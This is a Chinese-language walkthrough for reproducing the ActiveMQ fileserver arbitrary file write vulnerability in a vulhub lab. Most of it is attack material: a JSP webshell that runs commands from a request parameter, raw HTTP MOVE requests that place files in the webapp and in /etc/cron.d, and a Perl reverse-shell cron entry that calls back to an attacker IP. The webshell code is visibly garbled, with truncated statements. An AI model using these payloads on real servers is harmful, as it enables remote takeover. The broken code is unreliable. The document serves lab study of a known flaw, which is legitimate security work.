五分钟复现activemq任意⽂件上传漏洞——CEV-2016-3088漏洞
五分钟复现activemq任意⽂件上传漏洞——CEV-2016-3088漏洞
⽬录
⼀、背景简述
ActiveMQ的web控制台分三个应⽤,admin、api和fileserver,其中admin是管理员页⾯,api是接⼝,fileserver是储存⽂件的接⼝;admin和api都需要登录后才能使⽤,fileserver⽆需登录。
fileserver是⼀个RESTful API接⼝,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的⽂件进⾏读写操作,其设计⽬的是为了弥补消息队列操作不能传输、存储⼆进制⽂件的缺陷,但后来发现:1. 其使⽤率并不⾼2. ⽂件操作容易出现漏洞所以,ActiveMQ在
5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应⽤(你可以在l中开启之);在5.14.0版本以后,彻底删除了fileserver应⽤。
在测试过程中,可以关注ActiveMQ的版本,避免⾛弯路。
⼆、漏洞原理
本漏洞出现在fileserver应⽤中,漏洞原理其实⾮常简单,就是fileserver⽀持写⼊⽂件(但不解析jsp),同时⽀持移动⽂件(MOVE请求)。所以,我们只需要写⼊⼀个⽂件,然后使⽤MOVE请求将其移动到任意位置,造成任意⽂件写⼊漏洞。
⽂件写⼊有⼏种利⽤⽅法:
1. 写⼊webshell
2. 写⼊cron或ssh key等⽂件
3. 写⼊jar或l等库和配置⽂件
activemq默认账号密码写⼊webshell的好处是,门槛低更⽅便,但前⾯也说了fileserver不解析jsp,admin和api两个应⽤都需要登录才能访问,所以有点鸡肋;写⼊cron或ssh key,好处是直接反弹拿shell,也⽐较⽅便,缺点是需要root权限;写⼊jar,稍微⿇烦点(需要jar的后门),写⼊xml配置⽂件,这个⽅法⽐较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说⼀下上述⼏种利⽤⽅法。
三、攻击思路
思路:利⽤fileserver接⼝写⼊webshell,在移动到能解析的路径,或写⼊计划任务进⾏反弹shell。
所需设备:服务器、vsp
服务器:vulhub
Vsp:攻击者
四、写⼊webshell
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String Parameter("cmd");
String line=null;
Process Runtime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStream()));
while((adLine())!=null){
out.print(line+"</br>");
}
MOVE /fileserver/11.jsp HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: 172.17.0.1:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
5、访问webshell(需要登录):
五、写⼊crontab,⾃动化弹shell
我先说⼀下这⾥有个坑,docker中没有crontab必须⾃⼰安装。
1、这是⼀个⽐较稳健的⽅法。⾸先上传cron配置⽂件(注意,换⾏⼀定要\n,不能是\r\n,否则crontab执⾏会失败):
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.11.128";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in( $p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、将其移动到计划任务⽂件夹/etc/cron.d/root:
MOVE/ HTTP/1.1
Destination:file:///etc/cron.d/root
3、等待任务计划反弹shell。
六、修复建议
1、更新版本
2、⽤WAF进⾏拦截

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。